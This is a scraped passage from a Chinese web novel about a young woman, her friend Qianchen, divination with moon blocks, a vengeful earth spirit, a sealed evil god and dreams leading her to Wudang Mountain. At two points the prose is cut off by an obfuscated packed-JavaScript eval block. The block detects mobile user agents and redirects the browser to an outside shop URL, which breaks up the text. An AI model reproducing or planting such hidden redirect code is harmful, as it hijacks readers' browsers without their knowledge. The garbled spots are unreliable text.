“墨宇要去四川找他师父了,我就突然好奇,我会不会也有师父带带我。”我挠了挠头,有些不好意思地说。千尘点点头,追问:“那问出什么名堂了?”“太公说我有师父,然后给了我一个阳卦,我也不知道咋理解。”我叹了口气,一脸郁闷。 千尘接过茭杯,指尖摩挲着杯身粗糙的纹路,突然对着香炉方向扬声问道:“姜太公,楠木的师父,是不是和我有关系?”茭杯落地,清脆一响,是圣卦。她眼睛一亮,笑着又问:“是和我历情劫的那一位吗?”再掷,仍是圣卦。 “等等,什么历情劫?哪一位啊?”我听得一头雾水,忍不住打断她。千尘脸上的笑意淡了些,眼神飘向窗外,像是沉进了久远的回忆里,声音也低了下去:“说来话长,你知道我从小就记得很多前世的事。我历经了很多世了,就是为了和他历情劫。以前每一世,我只要见到他,就一定会死。比如最近的一世,民国时期,我和他在江南的地界,他是个国民党军官,我是个富家小姐,我们突然在一座石头拱桥上相遇了,一瞬间我们就互相认了出来,可是下一秒,一颗子弹就打穿了我的胸口……几乎每次都是这样,只要互相认出来,就必死无疑。” “那你这一世见到他了吗?”我脱口而出。千尘白了我一眼,没好气地说:“你看我现在像死了的样子吗?”我干笑两声,挠了挠头,转移话题:“那我和他有什么关系啊?为什么他会是我师父?”“可能和你的元神有关吧……我也说不准,就是刚才突然冒出来的念头而已。”千尘摇摇头,眼底闪过一丝迷茫。 “那他到底在哪儿啊?我上哪儿找他去?”我突然有些焦急和郁闷。千尘拿起茭杯,又对着香炉方向问姜太公:“太公,楠木的师父现在在哪里?”阳卦。她又问:“是时间还没到吗?”圣卦。 千尘把茭杯放下,摊了摊手,一脸无奈:“得,看你自己的机缘吧。要是真的是他,我还挺想见见的,这么多年了,不知道他变成什么样子了。”我瘫回沙发上,一脸郁闷:“这问了跟没问一样,就告诉我有师父,别的啥也没说。” 千尘拍了拍我的肩膀,语气散漫,带着几分劝慰:“顺其自然呗。话说回来,你现在是打算走修行这条路了?”我愣了愣,仔细琢磨了半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我吓了一跳,手机差点脱手,还没反应过来,千尘就猛地靠边停车,小电驴“吱呀”一声擦着地面停下,刺耳的声响划破夜色。她下了车,一把夺过我的手机,目光扫过屏幕,脸色瞬间沉了下来,黑得像锅底。她拿着我的手机,手指飞快地拨通了墨宇的电话,接通后,怒气冲冲的声音瞬间炸响:“你有病吧!大晚上的让楠木念显形咒?!” 千尘的声音又急又厉,带着压抑不住的怒火:“她刚念第一遍,我就感觉到有个黑影朝我们冲过来了!要不是我挡了一下,楠木铁定出事儿!后果你担得起吗?!” 电话那头传来墨宇轻佻的笑声,隔着听筒都让人觉得刺耳:“我就是觉得好玩,发她看看,生什么气啊。” “好玩?”千尘气得声音都抖了,胸口剧烈起伏着,“你不知道她体质特殊,最招这些东西吗?你让她大晚上在十字路口念显形咒,你安的什么心?!” “我就告诉她念三遍,又没逼她。”墨宇的语气轻飘飘的,听不出半点歉意,反而带着几分戏谑。 千尘怒极,直接挂了电话,把手机狠狠扔还给我。我看着她铁青的脸,心里咯噔一下,后脊背窜起一股寒意,这才反应过来:“这个……是显形咒?有什么问题吗?” 千尘深吸一口气,压着怒火,声音却依旧发紧,带着后怕:“显形咒是用来开阴阳眼的!大晚上的,十字路口是阴气最重的地方,过路的孤魂野鬼不知道有多少,你这么念叨,就是越界了,有些计较的就会找上门来,你又是这种招阴的体质,这不是找死是什么?!刚才那个黑影,能量强得很,要不是我挡了一下,你现在都不知道是什么下场!” 我后背瞬间沁出一层冷汗,手脚都有些发软,连指尖都在发凉。想起刚才念咒时,耳边掠过的那阵刺骨的冷风,还有脖子后面那阵莫名的瘙痒,心脏猛地缩紧,像被一只无形的手攥住了。“那……那你有没有事?刚才不是替我挡了一下吗?”我慌忙抓住她的手,她的指尖冰凉,冻得我一哆嗦。 千尘摇了摇头,脸色依旧难看,眼底泛着疲惫:“我没事,就是被那股阴气冲了一下,有点发虚。先去我家,得处理一下,看下到底是什么东西跟上了,要不然今晚谁都别想睡安稳。”她话音未落,又警惕地扫了一眼四周,眼神锐利得像刀子。她跨上小电驴,加快了速度往回赶,嘴里还在低声抱怨着:“果然他是个扫把星,一沾边儿就出事儿!” 38.异常 推开门就是一股子沉香混合降真香的味儿,呛得我鼻子一痒,连打两个喷嚏。千尘已经站在供桌跟前了,我换鞋的功夫扫了她一眼,客厅明亮的灯光打在她脸上,我才发现她脸色白得像纸,还透着点说不出的凶气,眼尾那点红痕尤其扎眼,跟平时那个爱插科打诨的千尘完全是两个人。 她没搭理我,自顾自的操作着,我坐在沙发上没敢吱声,瞅着她拜了三拜,把香插进香炉里,接着她拿起案上的茭杯,盘腿坐在了供桌前的地上,闭着眼睛,嘴唇动着,声音压得特别低,我知道她正在查看情况,所以一直很安静,不去打扰。 茭杯掉在地板上的声音挺脆,一声接一声的,一直在一问一答,不多时,千尘起身时,突然身子一晃,差点栽倒下去,她撑着桌子站起身,把茭杯放回去,手指头按了按眉心,长长地吐了口气,身上那股凶气好像散了点,脸色也好看了些。 “果然这次是惹到硬茬子了。”她转身坐到沙发上,后背往靠垫里一瘫,声音透着掩不住的累,抬手揉了揉太阳穴说“还好是我拦下来了,不然你今天这小命,估计得交代出去——那玩意儿的煞气,绝对会让你出血光之灾。” “啥东西啊?是厉鬼吗?”我赶紧问,手指头攥得紧紧的,后脖子的汗毛都竖起来了,屁股不自觉地往她那边挪了挪,心脏怦怦跳得像要撞破胸口。 千尘瞥了我一眼,摇摇头,手指头在膝盖上轻轻敲着,那是她琢磨事儿的习惯动作,指节敲得沙发“咚咚”响:“厉鬼倒还好收拾,直接杀了就好了,但这玩意儿是个地仙,生前也是个修行人,几百年的道行应该是有的,正不正的我不好说,能耐是真不小,刚才感应他的时候,他怒气值还是很高的。”她顿了顿,端起茶几上的凉白开猛灌了一口,咽下去才接着说,“刚跟他磨了十来分钟,唾沫星子都快说干了,他说听见你瞎念显形咒,刚好撞他跟前了,气得不行,说你坏了他的清修,本来想直接收拾你一顿,让你倒倒霉,出出血的,没想到被我拦下了。”她话音一顿,“谈了半天他才消气,说不计较也行,但得跟着我,在我家住一阵子,蹭点香火。” “住你家?”我心里咯噔一下,往前凑了凑,凳子腿在地板上划出刺耳的声响,“那对你没啥影响吧?你能镇得住他不?万一他翻脸……” “我倒没啥事儿,镇得住。”千尘放下杯子,眉头皱成个疙瘩,语气一下子沉了,杯底在茶几上磕出一声闷响,“关键是你!墨宇下次再给你发这些乱七八糟的咒,你可别傻乎乎跟着念了!他最近确实越来越不对劲了,这人你得注意些,也不知道到底咋回事儿?” “我也不知道啊……”我挠了挠头,心里乱糟糟的,指甲都快抠进头皮里,“这真不是他平时的作风,他以前发东西,都会跟我念叨半天注意事项,这次就甩了个咒过来,还一直让我念三遍,急得不行的样子,不像他平时的作风。我明天问问他吧。” “你自己长点心吧,跟他掺和没好事。”千尘的声音冷了点,眼神里满是恨铁不成钢,“你瞅瞅他做的那些法事,鼠鼠,你的,都出了岔子,再瞅瞅小凡那事儿,现在都还没利索呢,你这日子都被搅成一锅粥了,还替他说话?” “嗯……这事儿我也有责任。”我低下头,声音小了半截,盯着自己的鞋尖,“是我自己主动招惹的麻烦,墨宇他……其实帮过我不少忙的,教我练功,还帮我提火,还帮我对付小凡他表哥,他并不是一个冷漠的人。” 我脑子里冒出来墨宇的样子,想着,虽然他唱经五音不全,画符的字也是上下左右分家,可每次我遇上事儿,他都是第一个冲过来,半点不含糊。 千尘叹了口气,声音软了些,伸手拍了拍我的肩膀,掌心的温度透过衣服传过来:“你啊,就是心太善,总把人往好里想……下次别这么莽撞了,啥咒都敢瞎念,命就一条,经不起折腾。” 我点点头,手指头抠着沙发缝,抠得指腹发白,换了个话题说:“知道了。对了,我这个月还有一天假,过几天约上涵子出去晒晒太阳呗。知南最近好像挺忙的,天天早出晚归,听她说,这阵子要出趟远门,好像要去新疆西藏那边自驾游。” 千尘的脸色缓和了些,点点头,指尖的力道松了松:“嗯,行,出去走走也好,散散晦气。我提前跟涵子说,让他把笛子带上,吹两曲听听,他一吹笛子就招风,特别有意思。” 这话一落地,今晚这事儿才算暂时翻篇了。我坐了会儿,看千尘脸色略显疲惫,便识趣地起身告辞,没多做逗留,她也没留我,只是叮嘱我路上小心,别再瞎琢磨那些有的没的。 第二天我照常上班,心里却总惦记着墨宇的反常,心不在焉的。趁着午休,我躲到店外的阴凉处,给他发了条消息:“你现在有空没?方便打电话不?” 那边回得挺快,就两个字:“可以。” 我摁下拨号键,电话通了的瞬间,我反倒卡壳了,手指头攥着手机微微发颤,手心全是汗,竟一时不知道咋开口。店里的狗叫声隐隐约约传过来,更衬得这片刻的沉默格外难熬。 倒是墨宇先说话了,他显得有些犹疑,跟平时那个咋咋呼呼的他判若两人:“楠木,我这段时间……好像有点不对劲。” “咋了?”我心里一紧,攥着手机的力道又重了几分。 “我总会断片忘事儿。”墨宇的声音里透着点茫然,还带着一丝不易察觉的紧张,“有时候前一秒做的事,后一秒就没印象了。” 我心里咯噔一下,赶紧追问,声音都有点发飘:“那你记得昨晚不?你给我发了那个三茅真君显形咒。” “我记得这件事儿,我师父发给我的,我觉得有趣就发给你了,但后面的事儿……就模糊了。”墨宇的声音低了些,像是隔着很远的距离,“我看了聊天记录,你还给我打过电话,打了两三分钟,可我一点印象都没有。脑子乱得跟一团麻似的,像是被什么东西蒙住了。” “你是不是最近没休息好?还是前两天扶乩耗太多精力了?”我急着问,脚在地上无意识地蹭着,蹭起一层灰。 “不知道。”墨宇的声音透着疲惫,还带着点郁闷,“这情况断断续续十来天了,一开始没这么严重,就忘个鸡毛蒜皮的小事。这几天越来越厉害,我甚至有时候会忘了自己是谁,我怀疑……是不是被什么东西影响了,或者是扶乩的时候招惹了不干净的,我这段时间打算闭关一阵子,在家缓一缓,不见外人,看看能不能缓过来。” “要是需要帮忙,你随时吭声。”我认真的说。 “嗯……”墨宇顿了顿,沉默了几秒,那几秒漫长得像一个世纪,“昨晚我接电话的时候,说了什么吗?” 我喉咙发紧,昨晚电话里那股冰冷陌生的语气,仿佛还在耳边盘旋,那些话像针一样扎人。可看着墨宇这副茫然又恐慌的样子,我终究还是咽了回去:“没说什么,你好好休息吧,挂了啊。” 挂了电话,我愣在原地,心里乱糟糟的。他到底怎么了?那些反常的言行,真的是记忆丢失能解释的吗?昨天接电话的语气,根本不是那个热心的墨宇。 “楠木!快过来!有狗狗来看病啦!” 同事的喊声把我拽回现实,我攥了攥手机,把那些杂乱的念头压下去,转身扎进了忙碌的工作里。 日子一晃就过去了,几天后,我网购的铜钱剑到了。拆开包裹的瞬间,我眼前一亮,剑身用红绳串着密密麻麻的铜钱,手感沉得很,比网上的图片还精致。我立刻给千尘发消息:“晚上有空来我家不?铜钱剑到了,贼好看!” 千尘回得干脆:“okk。” 晚上她准时到了,我迫不及待地把铜钱剑递过去。千尘接过来,手指头摸着铜钱上的纹路,掂了掂分量,点点头:“这玩意儿质量不赖,做工也扎实。这次,你想不想自己试试开光?” “我自己开?”我愣住了,赶紧摆手,“我不会啊,别再给搞砸了。” “我教你,试试呗。”千尘把剑塞回我手里,眼神挺笃定,“拿三根香点上,心里想着真武大帝的样子,或者默念他的名号。等身上有点感觉了,就拿香头在剑身正反面都写个真武讳,最后往剑里渡点气就行。” 我半信半疑地照做,点上香,青烟袅袅里,闭上眼睛默念真武圣号,没一会儿,身体有了感应,随即,我认真仔细的拿着香,小心翼翼地在剑身写着讳字。 到了渡气这一步,我深吸一口气,盘腿坐下,握住剑柄,谁知刚一动念,就感觉一股吸力从剑身传来,跟个漩涡似的,疯狂抽着我身上的气。头晕目眩的感觉瞬间涌上来,眼前一阵阵发黑。 “你傻啊!”千尘眼疾手快,一把夺过铜钱剑,声音里带着点嗔怪,“渡气哪能渡自己攒的这点气?得用先天元神的气!你这点练金刚功攒的底子,不够它吸的!” 我扶着额头,缓了半天才回过神,哭笑不得:“我连自己的元神是啥玩意儿都摸不着,哪还会从它那里抽炁。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925526|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>千尘无奈地摇摇头,盘腿坐下,双手握住铜钱剑,闭上眼睛凝神,屋里静得只能听见香灰掉落的轻响。两三分钟后,她猛地睁开眼,长长地吐了口气,额头上沁着一层薄汗:“这玩意儿真费气……灌满太费劲了,先这样吧。” 我凑过去,盯着铜钱剑好奇地问:“这把铜钱剑到底有啥作用?能干嘛啊?” 千尘累得斜靠在沙发上,摆摆手,声音懒洋洋的:“真武这里呢,你问他啊。” 话音刚落,她突然“哎呦”一声,猛地坐直身子,揉着眼睛,语气里带着点委屈:“我去,他还嫌我仪态不端正,咋还管我坐姿呢……” 我顺着她的目光看过去,瞳孔一下子收缩了。 她旁边的空地上,不知啥时候坐着一道身影。一身金色盔甲,头发披散着,背后一根金色飘带无风自动。那张脸隐在光影里,看不真切,可那股子威严庄重的气场,压得人几乎喘不过气。 是真武大帝。 我想再仔细瞅瞅,那道身影却倏地散了,跟从没出现过一样。 “他……他坐你旁边的?”我磕磕绊绊地问,嗓子发干,“穿金色盔甲,背后还有飘带?” 千尘揉着眼睛,一脸不爽:“看见了?是啊,烦死了,我就不过斜靠着沙发嘛,他直接拿飘带晃了一下我眼睛……真是较真。” 我愣在原地,半天没回过神,嘴里嘀嘀咕咕的:“真的是真武大帝?我不是癔症又犯了吧?咋连你都能看见?咱俩这是一起幻觉了?” 千尘被我逗笑了,摆摆手:“对对对,都是幻觉。”她顿了顿,指了指铜钱剑,“你这剑也有了,考虑整个剑架不?这么金贵的东西,随便扔着不好。” “买,肯定买。”我点点头,脑子里还嗡嗡作响,全是刚才那道金色的身影。 千尘站起身,走到墙角拿起那个葫芦把玩着,手指头摸着葫芦上的讳字说:“这玩意儿,最近安分不?” “啊……最近事儿多,没太关注。”我回过神,摇摇头,“倒也没啥异常。” 千尘把葫芦放回原处,目光扫过旁边那块石头——就是那块有着紫电的石头。她的动作突然顿住,眉头皱了起来,伸手把石头拿起来,翻来覆去地看:“哎?我之前给你这块石头的时候,上面有张人脸吗?” 我心里一咯噔,赶紧凑过去。 石头的正面,不知啥时候浮现出一张侧脸。线条挺凌厉,眉眼间透着股邪气,正似笑非笑地盯着人看。 “没有啊!”我头皮发麻,汗毛都竖起来了,“你给我的时候就是块普通石头,啥都没有!这脸……这脸是谁啊?” 千尘没说话,脸色沉得吓人。她走到香炉前,拿起茭杯,盘坐在地上,嘴唇动着问卦,此时,茭杯落在地板上的声音,脆响着,有点让人心里发慌。 我攥着那块石头,指尖冰凉,心里紧张的不行。 半晌,千尘站起身,声音冷得像冰:“那张脸,是葫芦里那个邪神显出来的。你之前说,你躺在地上的时候见过紫电,对吧?” 我点点头,发出一个‘嗯’字。 “这石头里的能量也是紫电。”千尘盯着石头,眼神凝重,“估计是它借了石头里的紫电,显化出了这张脸。” “是封印出问题了吗?”我急声问,“他会不会跑出来?” “暂时不会。”千尘摇摇头,眉头拧得更紧,“但封印可能撑不了一年了,得想办法解决。” “我天天在这儿诵经,能不能度化他?”我咬了咬嘴唇,心里没底。 千尘看了我一眼,语气挺复杂:“不好说,他现在能在石头上显形,应该能听见你诵经,也能看见外面的事儿,应该是暂时出不来而已。” “死马当活马医,我……我尽力吧。”我攥紧石头,心里乱糟糟的,面对这个曾经差点上我身的邪神,心里还是有些慌乱的,我是真一点辙都没有。 千尘把茭杯放回原处,拍了拍手上的灰:“好了,先这样吧,我跟涵子约好了,后天一起去郊外晒太阳,你记得提前把假休了,我先走了,时间也不早了。” 她走到门口,又回头看了一眼那块石头和葫芦,眼神沉沉的,没再说啥,推门走了。 屋里就剩我一个人,降真香的味儿渐渐淡了,我盯着那块石头,石头上的侧脸让我看得心里直发毛,窗外的晚风刮过,吹得窗帘沙沙作响,我总觉得,葫芦里那个东西在我没察觉时一直盯着我的一举一动…… 39.梦境指引 千尘走后,阿飞还在加班未归,屋子里静得能听见窗外的风声,我蜷在床上,裹紧被子翻了个身,眼皮沉得像坠了两块铅锭,脑子却清醒得发疼,半点睡意都没有。一想到床头柜上那个葫芦,想到里头封着的那个说不清道不明的邪神,心口就像被一只无形的手死死攥着,闷得发慌,连呼吸都觉得滞涩。 实在熬不住了,我索性开灯爬了起来,走到客厅香炉前,拿出三根香攥在手里,打火机“咔哒”一声脆响,橙红色的火苗窜起来,舔着香根,腾起一缕细细的檀烟,袅袅地飘向房顶。我指尖有点发颤,捏起茭杯,压低了声音,一字一顿地问:“这个邪神,是否可以提前处理掉?” 茭杯“嗒”地一声落在地上,清脆的声响在寂静的屋子里格外刺耳。我低头一看,心脏猛地一缩——竟然有一边是立着的,又是立卦! 后颈的汗毛“唰”地一下全竖起来了,一股寒意顺着脊椎窜上天灵盖。这立卦太邪门了,寻常问卦哪有这么多立卦?分明是不对劲,我咽了口唾沫,喉咙发干,声音都有点发紧,又问:“现在接卦的,是姜太公吗?” 茭杯在地上轻轻晃了晃,随即稳稳地两面朝下——阴卦。 不是姜太公! 我脑子里“嗡”的一声,像有惊雷炸开,整个人都僵住了,半晌才猛地反应过来,脱口而出,声音都带上了几分颤音:“你是葫芦里的那位?” 茭杯轻轻一跳,稳稳地立住,随即落下——圣卦! 冷汗唰地就下来了,顺着额角往下淌,滴在衣襟上,冰凉一片。手里的茭杯差点没攥住,“哐当”一声砸在桌子边缘。这东西竟然也 能附在卦上回话,我呆呆地站在原地,一时竟不知道该问什么,脑子里乱成一团麻。半晌才定了定神,咬了咬牙——与其在这里猜来猜去,不如直接找他问个明白! 我深吸一口气,稳住声音,又问:“你那时候,是故意上我身的吗?” 阴卦。 不是故意的?那是为什么?我心里的疑团更重了,又追问:“你是被XX派的人召唤来,故意整我的吗?” 圣卦! 果然是冲着我来的!我倒吸一口凉气,又问:“那个石头上的侧脸,是你吗?” 圣卦。 “你认识我的元神?” 圣卦! 这个回答让我大脑一阵炸雷,他是个邪神,他认识我的元神,难道……我的元神也是个邪神吗? 这个念头刚冒出来,我就甩了甩头喃喃地说:“不可能,虽然我不知道我元神是什么,但是绝对不会是一个邪神,他一定是说谎了。” 我定了定神,强迫自己把纷乱的思绪压下去,哑着嗓子又问:“你那天没有继续上我身,是看见我元神了吗?” 圣卦! 又是圣卦! 我倒吸一口凉气,心想这东西不会真的认识我的元神,还因为它才停手……那我的元神,到底藏着什么秘密?我分明就是个普普通通的人,怎么会和一个邪神扯上渊源?难道从我出生起,就带着什么我不知道的使命?脑子疯狂混乱中…… 我定了定神,又问了我在意的那个问题:“你听我诵经的话,可以度化你吗?” 阳卦。 “是不能度化吗?” 阴卦。 我琢磨过味儿来了,这是能度化,但不是现在?我试探着问:“噢,看情况是吧?你想观察我?” 圣卦! “行吧,”我松了口气,瘫坐在椅子上,浑身的力气都像是被抽干了,“你既然想观察我,就随你吧,我现在也对你无可奈何,只要你不对我动恶念,我们暂时就和平相处。” 茭杯轻轻一晃,落下——圣卦! 见它应了,我悬着的心总算是落了半截,纠结也没用,横竖我现在也没本事把它怎么样。我盯着地上的茭杯,突然想起什么,开口问道:“你有名字吗?” 圣卦。 我不自觉地扭头看向旁边那块刻着人脸的石头,拿在手上仔细端详,隐约看见人脸下方刻着一个讳字,上面是雨字头,下面是一个刀字。雨字头,下面一个刀……我皱着眉,试探着问:“这上面的讳,是你的名字?” 圣卦! “我不知道这个字读啥,取下面那个刀字吧,叫你小刀可以吗?” “圣卦” 好家伙,他还真让我叫他小刀啊。我心里嘀咕了一句,伸手把茭杯捡起来,放回香案上,转身准备回床睡觉。眼角余光却瞥见了桌上的那把铜钱剑,这剑到底有什么用?我把铜钱剑拿起来,带回到床上,反复观看,压根看不出什么门道,我懒得再折腾,随手把它塞到了枕头底下,倒头就躺了下去。 许是暂时了了个心结,我很快就睡着了,还做了个异常清晰的梦。 梦里天很蓝,云很淡,像被水洗过一样干净。我走在一座矮桥上,桥下水声潺潺,清冽的溪水撞在石头上,溅起细碎的水花,上游还有着一个小瀑布,溅起的水雾凉丝丝的,扑在脸上舒服极了,桥下左边有块大的溪石,溪石上站着个道士,穿着一件蓝黑色的道袍,皮肤黝黑,样貌普通得扔到人堆里都找不着,正对着我,我与他眼神对视了一下,我忍不住开口说:“你好,请问这是哪里?” 那道士冲我咧嘴一笑,露出一口白牙,在阳光下格外晃眼:“这里是武当山。” “你是谁?”我追问,心里满是好奇。 他没答话,只是仰头哈哈大笑起来,那笑声清亮又爽朗,像山风穿过松林,带着几分洒脱,几分神秘。我正想再问,猛地就醒了,窗外天已经蒙蒙亮了。 武当山……我躺在床上发愣,脑子里反复回响着这三个字。那不是真武大帝的道场吗?怎么梦到那里了?这梦到底是啥意思?是我自己日有所思,夜有所梦,胡思乱想出来的? 一整天我都魂不守舍的,坐在店里,一有空就捧着手机搜武当山的图片,金顶、紫霄宫、南岩宫……翻了几百张,愣是没找到梦里那个有矮桥、小瀑布的地方。那里真的是武当山吗?难道是我记错了?还是说,那个场景压根就不存在,只是我梦里的臆想? 我越想越郁闷,心里堵得慌,连中午吃饭都没什么胃口。 晚上回到家,阿飞竟然难得早回了,他见我瘫在沙发上唉声叹气,连鞋都没换就走过来,伸手探了探我的额头:“你今天怎么了?一脸愁容,店里出事儿了?” “没,”我摇摇头,把手机递给他看,屏幕上还停留在武当山的图片页面,“就是做了个梦,梦见去了武当山,还遇见个道士。我搜了一天的照片,没找到梦里那个地方。” 阿飞凑过来看了两眼,忍不住失笑,伸手揉了揉我的头发:“嗨,一个梦而已,你还当真了?多大的人了,还跟个孩子似的。” “就是好奇嘛,”我撇撇嘴,把手机收回来,“算了,就当是个梦吧。” 这晚我没再折腾,早早躺上床,本以为会翻来覆去睡不着,没想到沾着枕头就睡着了,一夜无梦。 梦里还是那个熟悉的地方,矮桥、溪水、瀑布,连空气里的草木清香都一模一样。我几步冲过去,一把拽住那个黝□□士的袖子,急得嗓门都劈了:“这里到底是武当山哪里啊?你快告诉我!” 道士还是那副笑眯眯的样子,没说话,只是悠悠地飘来三个字,轻得像风拂过耳边,却又清晰无比:“东神道……” 我一下子惊醒了,脑子里就只剩“东神道”这三个字,像刻在骨头里一样。我摸过床头柜上的手机,手指都有点抖,赶紧点开搜索框,输入“武当山东神道”。 页面跳出来,景点介绍翻了好几页,还是没看见梦里的场景,心里的失落刚涌上来,却在一条不起眼的评论里,看见有人提了一句“东神道那边有个清月草堂,有道士在那里教武术,好像是隐仙派的。”。 清月草堂?! 我心里“咯噔”一下,像被雷劈了似的,瞬间僵住了。八九年前,我还没决定丁克的时候,曾满心欢喜地琢磨过给未来的孩子取名,第一个想到的就是“清月”,清雅如月,多好听的名字,男孩女孩都合适,后来虽然因为种种原因断了生孩子的念头,可这个名字,我记了好多年,从来没跟别人提过。 天底下怎么会有这么巧的事?梦境都连起来了,从武当山到东神道,再到清月草堂,难不成这清月草堂真的藏着什么线索?和我的过去有关?还是和我现实中的师父有关? 我越想越觉得不对劲,一个念头冒出来,像野草一样疯长,再也压不下去——我要去武当山,去东神道,去清月草堂看看!不管有没有线索,都要去一趟! 第二天一早,我顶着黑眼圈把这个决定告诉了阿飞。他正迷迷糊糊地挤着牙膏刷牙,闻言一口牙膏沫差点喷出来,扭头瞪着我,嘴里还含着泡沫,含糊不清地问:“你一个人去?那么远,安不安全啊?” “我先联系那边武馆的人,确定好了再出发,”我拍了拍他的肩 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我一下子从床上弹起来,走到客厅香炉前,点上三根香,拿起茭杯,心里默念着问题,沉声问道:“姜太公,我现实中要拜的师父,是在清月草堂那里吗?” 圣卦! 我眼睛一亮,又问:“那他姓什么,你知道吗?” 圣卦! 就在这时,脑子里突然蹦出一个字,清晰得像有人在我耳边说——“何”。 我愣住了,随即脱口而出,声音都有点发颤:“他姓何吗?” 圣卦! “那他是和千尘历情劫的那一位吗?” 圣卦! “他以前,也是我的师父吗?” 圣卦! 一连五个圣卦,砸得我心潮澎湃,激动得差点跳起来。原来真的有这么一位师父,还在清月草堂等着我?我稳了稳心神,又问出了最关心的问题:“我下个月去那里,能遇见他吗?” 阳卦。 “不一定能遇上吗?” 圣卦! 看着卦象,我心里又喜又愁,喜的是线索越来越清晰了,愁的是能不能遇上还是个未知数。但我已经下定决心了,不管能不能遇上,这趟武当山,都得去一趟! 我翻出手机,从网上找到了陈道长的联系方式,我给他发了条信息,咨询东神道清月草堂的住宿,说下个月想去那边住几天。陈道长很快就回了,说没问题,让我提前两天联系他就行,还给我发了个定位。 敲定了住宿的问题后,我心里的石头总算是落了地,长长地舒了口气,早早地就睡了。毕竟第二天还要和千尘、涵子一起出去溜达,我还挺期待的,明天也正好问问他们两个人的一些看法。我也没见过涵子吹笛子,期待与好奇给我拉满了。 这一夜,我又做梦了。 梦里的天灰蒙蒙的,像蒙着一层灰纱,没有半点色彩,连光线都是黯淡的。我好像在一个热闹的小集市里逛街,路边全是小吃摊子,卖糖葫芦的,炸油糕的,香气飘得满街都是,勾得人肚子咕咕叫。我停在一个老奶奶的摊子前,买了一些泡菜,老奶奶指了指摊子上贴着的二维码,慈眉善目地说:“扫码付款吧。” 我掏出手机,点开扫码功能,对准二维码一扫,屏幕上却跳出一串奇怪的字——冥xxxxxx。我愣了愣,以为是信号不好,又扫了一遍,还是这串字。我试着输入密码,可手指按下去,跳出来的全是乱码,根本输不对。我急得满头大汗,站在摊子前手足无措,眼看着老奶奶的脸越来越模糊,声音也变得飘飘忽忽的…… “唉,付不了钱了……”我嘟囔着醒过来,窗外天光大亮,阳光刺眼得很。 迷瞪了好一会儿,我才反应过来刚才是在做梦,拍了拍自己的脑门,自嘲地笑了:“我到底在干嘛?那地方,怕不是阴间吧?之前梦见都是去阴间打工的,这次倒好,直接去逛街了,真是越来越潇洒了。” 阿飞正好推门进来,手里端着早餐,听见我的话,挑了挑眉,似笑非笑地说:“你昨天晚上又做梦了?一直在说梦话,还在床上滚来滚去的,差点把我踹下去。” 我老脸一红,不好意思地点点头:“嗯,做了个梦,挺离谱的。” 等我磨磨蹭蹭收拾完,已经上午九点了。千尘昨天说过,涵子会开车来接我,我索性坐在沙发上刷手机等他们,心里头的期待都快溢出来了——吹笛子招风啊,这得多神奇?我可得好好开开眼! 40.爬天柱 涵子和千尘如约而至,我们一同开车前往了环湖步道散步。阳光透过树叶的缝隙,在地面上投下斑驳的光影,空气中弥漫着青草的气息。我迫不及待地转向千尘,兴奋地分享道: “这两天我做了一些梦,指点我去武当山的东神道,所以我准备下个月去武当山看一看,梦里那个道士貌似是和你历情劫的那位,姜太公说他姓何,虽然不知道遇不遇得到,但是我先去看看,顺便当旅游了。” 千尘闻言,眼中闪过一丝惊讶:“你真打算追梦过去啊?我对他虽然是好奇的,但也不是那么在意了,倒是有一件事儿,你可以帮我去看看。” 我疑惑地问:“什么事儿?” 千尘停下脚步,回忆道:“我还没认识你之前做了个梦,梦里有几个大胡子道士围在一起看一颗树苗儿,嘴里一直念叨这树苗好像救不活了。我好奇就前去一看,就说这树苗我能救活,然后我就给树苗了一些炁,那树苗瞬间变成参天大树了。然后那几个道士相视一笑,就消失了。后来画面一转,我到了一个很多红墙的地方,迎面走来的是一个三十来岁的道士,他带了一堆年轻的道士,那些年轻的道士叫他师叔,那个三十来岁的道士一看见我就说,‘你怎么过来了?’然后催我快离开,随后我就被他派的两个道士送下山了,我只记得一路都是红墙,还有弯弯曲曲的路,我后来也找过很多道观的照片,发现武当山那里的道观群里,有几个道观和我梦里的很相似,你这次去,就帮我去看看吧。” 我瞪大双眼看着她说:“你之前怎么没说过呢?” 千尘平静地说:“这不是你提武当山我突然记起来了吗,我怀疑那群老道士骗了我的炁去种那棵树!那个三十来岁的道士应该是和我历情劫的那位。” “没问题,”我爽快地答应,“我去东神道后就去武当山转一转。” 涵子在旁一直默默的听着,也没插话。我好奇地问涵子:“你不觉得我们说话有些奇怪吗?会觉得神神叨叨的吗?” 涵子笑笑说:“并不会呀,我觉得是很有意思的事情呢。” 我看着涵子淡淡的表情,并不像是敷衍我说的话,便又问道:“你吹笛子真的能招风吗?” 涵子不好意思地说:“也没有啊,只是巧合罢了。” 千尘插嘴说:“你太谦虚了,要不今天试一试,让楠木长长见识,刚好现在也有些热。” 我也用期待的眼神看着涵子,他见我们话都说到这份上了,也不好意思推辞,我们走到一个树荫下,随地坐下。他取出随身携带的笛子就开始演奏起来。 说来也奇怪,他吹了一分多钟的时候,竟然真的开始起风了,明明开始都没有一丝风的,竟然慢慢的有微风吹来了,带来了一阵凉爽。我惊讶的看了看涵子又看了看千尘。涵子依旧专注的吹着笛子,千尘一脸“我就知道”的表情,只有我保持着一脸惊讶的样子看着他们。 一曲吹罢,那阵微风也戛然而止。我震惊的问涵子说:“不是吧!真能招风啊!也太厉害了吧!” 涵子还是淡淡的说:“还好吧,没有那么厉害啦。” 千尘说:“我小时候还能控雨呢,可惜慢慢长大后就不太行了。” 